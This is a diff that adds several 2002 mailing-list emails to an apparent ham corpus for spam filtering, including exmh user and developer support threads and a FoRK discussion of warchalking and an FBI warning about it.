phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9AE604413A + for ; Mon, 19 Aug 2002 05:50:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:50:39 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7I0V5618967 for + ; Sun, 18 Aug 2002 01:31:05 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 6927A3EAB6; Sat, 17 Aug 2002 + 20:31:01 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id B14503EAB6 + for ; Sat, 17 Aug 2002 20:29:59 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7I0TvV19637 for exmh-users@listman.redhat.com; Sat, 17 Aug 2002 + 20:29:57 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7I0TvY19633 for + ; Sat, 17 Aug 2002 20:29:57 -0400 +Received: from austin-jump.vircio.com + (IDENT:cp+g1M2SlwtDFzQdp2pQ72ohdC1Pws9G@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7I0Fsl02285 + for ; Sat, 17 Aug 2002 20:15:54 -0400 +Received: (qmail 7193 invoked by uid 104); 18 Aug 2002 00:29:56 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.01994 + secs); 17/08/2002 19:29:56 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 18 Aug 2002 00:29:56 -0000 +Received: (qmail 29127 invoked from network); 18 Aug 2002 00:29:53 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?Dz2g4IoZxLT4mPaWoRX8J4OGKC1pU283?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 18 Aug 2002 00:29:53 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: exmh-users@spamassassin.taint.org +Subject: Re: V2.4 keeps incorrectly blue-ing folders +In-Reply-To: <20020817234026.4645C6F980@washington.bellatlantic.net> +References: <20020817234026.4645C6F980@washington.bellatlantic.net> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-882253667P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +From: Chris Garrigues +Message-Id: <1029630592.29122.TMDA@deepeddy.vircio.com> +X-Delivery-Agent: TMDA/0.57 +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +X-Reply-To: Chris Garrigues +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 19:29:51 -0500 + +--==_Exmh_-882253667P +Content-Type: text/plain; charset=us-ascii + +> From: Harlan Feinstein +> Date: Sat, 17 Aug 2002 19:40:21 -0400 +> +> Exmh keeps turning the folder indicator blue for one folder, and I've read +> all the messages in the folder. Driving me nuts. I've packed the folder, +> I've deleted the .mh_sequences file there, keeps doing it. Help! +> +> I've just recently started using 2.4 (was using 2.2), so perhaps there are +> things that needed to be deleted/changed in my settings? + +2.4? + +2.5 has been out for over a year. + +I can't think of anything with those symptoms in 2.4, but why don't you try +the upgrade and see if you still have the problem. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-882253667P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Xup/K9b4h5R0IUIRAgvAAJ9y5U/x3/bIv3J1ZIvg68MveMoMWACfcRbJ +rzUKLzFVnLfNIVg3qKRgGhw= +=mlhE +-----END PGP SIGNATURE----- + +--==_Exmh_-882253667P-- + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + diff --git a/bayes/spamham/easy_ham_2/00784.45e680f25135076df8a3e88739c4e1d7 b/bayes/spamham/easy_ham_2/00784.45e680f25135076df8a3e88739c4e1d7 new file mode 100644 index 0000000..d8c1820 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00784.45e680f25135076df8a3e88739c4e1d7 @@ -0,0 +1,79 @@ +From exmh-users-admin@redhat.com Mon Aug 19 11:00:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D76004414F + for ; Mon, 19 Aug 2002 05:52:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:52:20 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7IJPd620993 for + ; Sun, 18 Aug 2002 20:25:40 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id D8CC93ED19; Sun, 18 Aug 2002 + 15:25:38 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 366E43EECB + for ; Sun, 18 Aug 2002 15:20:01 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7IJJwd11116 for exmh-users@listman.redhat.com; Sun, 18 Aug 2002 + 15:19:58 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7IJJwY11112 for + ; Sun, 18 Aug 2002 15:19:58 -0400 +Received: from localhost.localdomain (m542-mp1.cvx2-c.nth.dial.ntli.net + [62.253.58.30]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g7IJ5Vl05744 for ; Sun, 18 Aug 2002 15:05:36 -0400 +Received: from compaq (jg@localhost) by localhost.localdomain + (8.11.6/8.11.6) with ESMTP id g7IJInp05784 for ; + Sun, 18 Aug 2002 20:18:57 +0100 +Message-Id: <200208181918.g7IJInp05784@localhost.localdomain> +X-Authentication-Warning: localhost.localdomain: jg owned process doing -bs +X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 +To: exmh-users@spamassassin.taint.org +Subject: Re: V2.4 keeps incorrectly blue-ing folders +In-Reply-To: harlan's message of Sat, 17 Aug 2002 19:40:21 -0400. + <20020817234026.4645C6F980@washington.bellatlantic.net> +X-Image-Url: http://homepage.ntlworld.com/jgibbon/dlkface.gif +From: James Gibbon +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +X-Reply-To: james.gibbon@virgin.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 20:18:48 +0100 + + +Harlan Feinstein wrote: +> Exmh keeps turning the folder indicator blue for one folder, and +> I've read all the messages in the folder. Driving me nuts. I've +> packed the folder, I've deleted the .mh_sequences file there, +> keeps doing it. Help! +> + +I would rescan then do 'First Unseen', and see what happens .. + + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + diff --git a/bayes/spamham/easy_ham_2/00785.ba3a0a9d41b06b7fd1ea6025a417dfd1 b/bayes/spamham/easy_ham_2/00785.ba3a0a9d41b06b7fd1ea6025a417dfd1 new file mode 100644 index 0000000..6f86562 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00785.ba3a0a9d41b06b7fd1ea6025a417dfd1 @@ -0,0 +1,126 @@ +From fork-admin@xent.com Mon Aug 19 11:05:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D9D6C440FF + for ; Mon, 19 Aug 2002 05:55:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:42 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7IHwW618179 for ; + Sun, 18 Aug 2002 18:58:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7D1B529409B; Sun, 18 Aug 2002 10:56:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) + by xent.com (Postfix) with ESMTP id 105C6294098 for ; + Sun, 18 Aug 2002 10:55:25 -0700 (PDT) +Received: from endeavors.com ([66.126.120.174]) by mta6.snfc21.pbi.net + (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id + <0H11001BUWIO5T@mta6.snfc21.pbi.net> for fork@xent.com; Sun, + 18 Aug 2002 10:56:49 -0700 (PDT) +From: Gregory Alan Bolcer +Subject: warchalking +To: FoRK +Reply-To: gbolcer@endeavors.com +Message-Id: <3D5FDDA4.75EA7EC@endeavors.com> +Organization: Endeavors Technology, Inc. +MIME-Version: 1.0 +X-Mailer: Mozilla 4.79 [en] (X11; U; IRIX 6.5 IP32) +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Accept-Language: en, pdf +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 10:47:16 -0700 + +Hobos in the depression used to use this technique to +know if they could find a meal or a bed and how +friendly the residents were to begging. This showed +up on sladhdot in June. It'll be interesting to see +what the parallel sign is for the Hobo sign +that representing a meal or bed if threatened. Can +you imagine threatening someone to get your wireless? + +Another phenomenon is Internet connection sharing which is +freely available on most modern OSs. It's a very easy way to +share a $6/24hour period wireless conneciton in the San Jose +airport among dozens of your favorite friends. + +http://news.bbc.co.uk/1/hi/technology/2197252.stm +http://www.blackbeltjones.com/warchalking/warchalking0_9.pdf + + + Friday, 16 August, 2002, 11:42 GMT 12:42 UK + FBI warns about wireless craze + + + Some FBI agents are worried about warchalking + + Well-meaning wireless activists have caught the attention of the US Federal Bureau + of Investigation. + One of its agents has issued a warning about the popular practice of using chalk marks + to show the location of wireless networks. + + The marks, or "warchalks", are cropping up in cities and suburbs across the world. + + The FBI is now telling companies that, if they see the chalk marks outside their + offices, they should check the security of wireless networks and ensure they remain + closed to outsiders. + + Top marks + + The warchalking phenomena is only a couple of months old but it has generated a huge + amount of interest. + + The idea behind warchalking is to use a standardised set of symbols to mark the + existence of wireless networks that anyone can use to go online. + + Many community groups and local governments, and even some public-spirited + companies, are setting up wireless nodes that give people fast net access. + + + This symbol denotes a closed wireless node + + The wireless networks replace computer cables with radio and are usually very easy to + set up and connect to. + + Before now many curious hackers have gone on "wardriving" expeditions which + involve them driving around an area logging the location of the wireless networks. + + Many companies using wireless do not do enough to make them secure and stop people + outside the organisation using them. + + So the FBI is issuing advice to companies to be on the lookout for warchalk marks as a + pointer to the security of their wireless network. + + "If you notice these symbols at your place of business, it is likely your network has + been identified publicly," warns the guidance from the FBI. + + Scare stories? + + The agent who circulated the warning in Pittsburgh said it was not an official FBI + advisory or policy but was information worth passing on. + + He urged anyone using a wireless network to ensure that it was secure and used only by + those a company wants to access it. + + Warchalkers have questioned the scare stories surrounding the phenomena, saying that + anyone with malicious intent is unlikely to publicly mark their target. + + The phrases "wardriving" and "warchalking" derive from the early days of computer + hacking when curious users programmed their computers to search for all phone lines + that returned data tones. The exhaustive searching was known as "wardialling". +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/00786.7d159de800532f2490f5facf98cf0c05 b/bayes/spamham/easy_ham_2/00786.7d159de800532f2490f5facf98cf0c05 new file mode 100644 index 0000000..e89afa1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00786.7d159de800532f2490f5facf98cf0c05 @@ -0,0 +1,57 @@ +From fork-admin@xent.com Mon Aug 19 11:05:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EB759441B4 + for ; Mon, 19 Aug 2002 05:55:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:44 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7IJRv621062 for ; + Sun, 18 Aug 2002 20:27:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C3E382940F0; Sun, 18 Aug 2002 12:22:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 310732940EC for ; Sun, + 18 Aug 2002 12:21:32 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id DCC263EDB9; + Sun, 18 Aug 2002 15:24:32 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id DB3DE3EC45; Sun, 18 Aug 2002 15:24:32 -0400 (EDT) +From: Tom +To: Gregory Alan Bolcer +Cc: FoRK +Subject: Re: warchalking +In-Reply-To: <3D5FDDA4.75EA7EC@endeavors.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 15:24:32 -0400 (EDT) + + +Oddly enough we have been "discusing" this over in www.geocaching.com +Opinons on the it range from YeaBoy to ItsAgainstTheLAW. Mostly though its +either folks are boned up on the subject and are cool with it or they are +sheeple bleating to the big daddy to protect them. I sstill cant get my +head around the fact that so many people are so much the willing sheeple +for things like the Patriot Act and all the surrounding shackle racking. + +http://opentopic.groundspeak.com/0/OpenTopic?a=tpc&s=1750973553&f=6770936793&m=6220923794 + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/00787.8bb5931af6f31bcb63ec035ef4bab991 b/bayes/spamham/easy_ham_2/00787.8bb5931af6f31bcb63ec035ef4bab991 new file mode 100644 index 0000000..8b69429 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00787.8bb5931af6f31bcb63ec035ef4bab991 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Mon Aug 19 11:05:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E518344102 + for ; Mon, 19 Aug 2002 05:55:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:53 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J4bW607749 for ; + Mon, 19 Aug 2002 05:37:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C66CB2940BF; Sun, 18 Aug 2002 21:35:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id E3B7329409D for ; + Sun, 18 Aug 2002 21:34:04 -0700 (PDT) +Received: from maya.dyndns.org (ts5-016.ptrb.interhop.net + [165.154.190.80]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7J49bE17862; Mon, 19 Aug 2002 00:09:37 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 9F5FA1C336; + Mon, 19 Aug 2002 00:22:57 -0400 (EDT) +To: gbolcer@endeavors.com +Cc: FoRK +Subject: Re: warchalking +References: <3D5FDDA4.75EA7EC@endeavors.com> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 19 Aug 2002 00:22:57 -0400 + +>>>>> "G" == Gregory Alan Bolcer writes: + + G> ... Can you imagine threatening someone to get your wireless? + +Well ... considering they happily cashed my $2000 cheque almost a +month ago and I'm /still/ using crippled auracom dialup, yes, I can +imagine this, quite vividly; I will be beta-testing it sometime early +next week if dsisp.net don't get my antenna rigged and guy-wired pdq. +I'm paying /interest/ on that $2k! + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc + Business Advantage through Community Software : http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/00788.4fe7ac37abaf058662d024d6c482119a b/bayes/spamham/easy_ham_2/00788.4fe7ac37abaf058662d024d6c482119a new file mode 100644 index 0000000..eb2ed64 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00788.4fe7ac37abaf058662d024d6c482119a @@ -0,0 +1,72 @@ +From exmh-workers-admin@redhat.com Tue Aug 20 10:58:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 248D343C42 + for ; Tue, 20 Aug 2002 05:58:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:05 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JKBwZ07418 for + ; Mon, 19 Aug 2002 21:12:02 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id D9BE93FF94; Mon, 19 Aug 2002 + 16:08:50 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 93D51400EA + for ; Mon, 19 Aug 2002 15:45:07 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7JJj5S20513 for exmh-workers@listman.redhat.com; Mon, 19 Aug 2002 + 15:45:05 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7JJj4Y20509 for + ; Mon, 19 Aug 2002 15:45:04 -0400 +Received: from milou.dyndns.org (h189n1fls22o974.telia.com + [213.64.79.189]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g7JJUrl27028 for ; Mon, 19 Aug 2002 15:30:53 + -0400 +Received: by milou.dyndns.org (Postfix, from userid 500) id A8A983F21; + Mon, 19 Aug 2002 21:44:53 +0200 (CEST) +Received: from tippex.localdomain (localhost [127.0.0.1]) by + milou.dyndns.org (Postfix) with ESMTP id A06723F20 for + ; Mon, 19 Aug 2002 21:44:53 +0200 (CEST) +X-Mailer: exmh version 2.5_20020817 01/15/2001 with nmh-1.0.4 +To: exmh-workers@spamassassin.taint.org +Subject: CVS report +X-Image-Url: http://free.hostdepartment.com/aer/zorro.gif +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Anders Eriksson +Message-Id: <20020819194453.A8A983F21@milou.dyndns.org> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 21:44:48 +0200 + + +Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow on +large (>100 msgs) unseen sequences. Anybody else having this problem? + +/A + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00789.f5ae0a050a9e179558e9d351d9cfb7d2 b/bayes/spamham/easy_ham_2/00789.f5ae0a050a9e179558e9d351d9cfb7d2 new file mode 100644 index 0000000..3ceb34d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00789.f5ae0a050a9e179558e9d351d9cfb7d2 @@ -0,0 +1,128 @@ +From exmh-workers-admin@redhat.com Tue Aug 20 10:58:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5893843C36 + for ; Tue, 20 Aug 2002 05:58:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:12 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JKuAZ08767 for + ; Mon, 19 Aug 2002 21:56:10 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 42EEC3EB90; Mon, 19 Aug 2002 + 16:56:16 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 9A1CB3EED8 + for ; Mon, 19 Aug 2002 16:24:51 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7JKOn429413 for exmh-workers@listman.redhat.com; Mon, 19 Aug 2002 + 16:24:49 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7JKOmY29409 for + ; Mon, 19 Aug 2002 16:24:48 -0400 +Received: from austin-jump.vircio.com + (IDENT:p9osFOqK6CliTW6mlyyjPrEAVyR8Pafv@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7JKAbl02464 + for ; Mon, 19 Aug 2002 16:10:37 -0400 +Received: (qmail 806 invoked by uid 104); 19 Aug 2002 20:24:48 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.322349 + secs); 19/08/2002 15:24:47 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 19 Aug 2002 20:24:47 -0000 +Received: (qmail 25111 invoked from network); 19 Aug 2002 20:24:44 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?fn16GS4zqiTrxYL1Nmt5CtpAQAOJO4vh?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 19 Aug 2002 20:24:44 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Anders Eriksson +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: CVS report +In-Reply-To: <20020819194453.A8A983F21@milou.dyndns.org> +References: <20020819194453.A8A983F21@milou.dyndns.org> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_1217613150P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029788684.25103.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 15:24:43 -0500 + +--==_Exmh_1217613150P +Content-Type: text/plain; charset=us-ascii + +> From: Anders Eriksson +> Date: Mon, 19 Aug 2002 21:44:48 +0200 +> +> +> Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow on +> large (>100 msgs) unseen sequences. Anybody else having this problem? + +I'll take the blame. + +The reason, I suspect, is that we're needlessly reading the .sequences file +multiple times because of other sequences. I need to make the code much +smarter about handling that file, but first I have a few other fish to fry in +my rather large patch that's on it's way. + +Chris + + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_1217613150P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9YVQLK9b4h5R0IUIRAi47AJ4rVruKV1jEX9NVMEAFZR9grNn3YgCfcUlD +MTk68Vxnxl3UUoU3yA4spLg= +=ypKd +-----END PGP SIGNATURE----- + +--==_Exmh_1217613150P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00790.ec6b7979abbf5a47d6531804cb025fe2 b/bayes/spamham/easy_ham_2/00790.ec6b7979abbf5a47d6531804cb025fe2 new file mode 100644 index 0000000..2734efd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00790.ec6b7979abbf5a47d6531804cb025fe2 @@ -0,0 +1,88 @@ +From exmh-workers-admin@redhat.com Tue Aug 20 10:58:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9099A43C32 + for ; Tue, 20 Aug 2002 05:58:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:15 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JLFYZ09543 for + ; Mon, 19 Aug 2002 22:15:34 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 96EC93FE07; Mon, 19 Aug 2002 + 17:14:32 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id B072E3F57A + for ; Mon, 19 Aug 2002 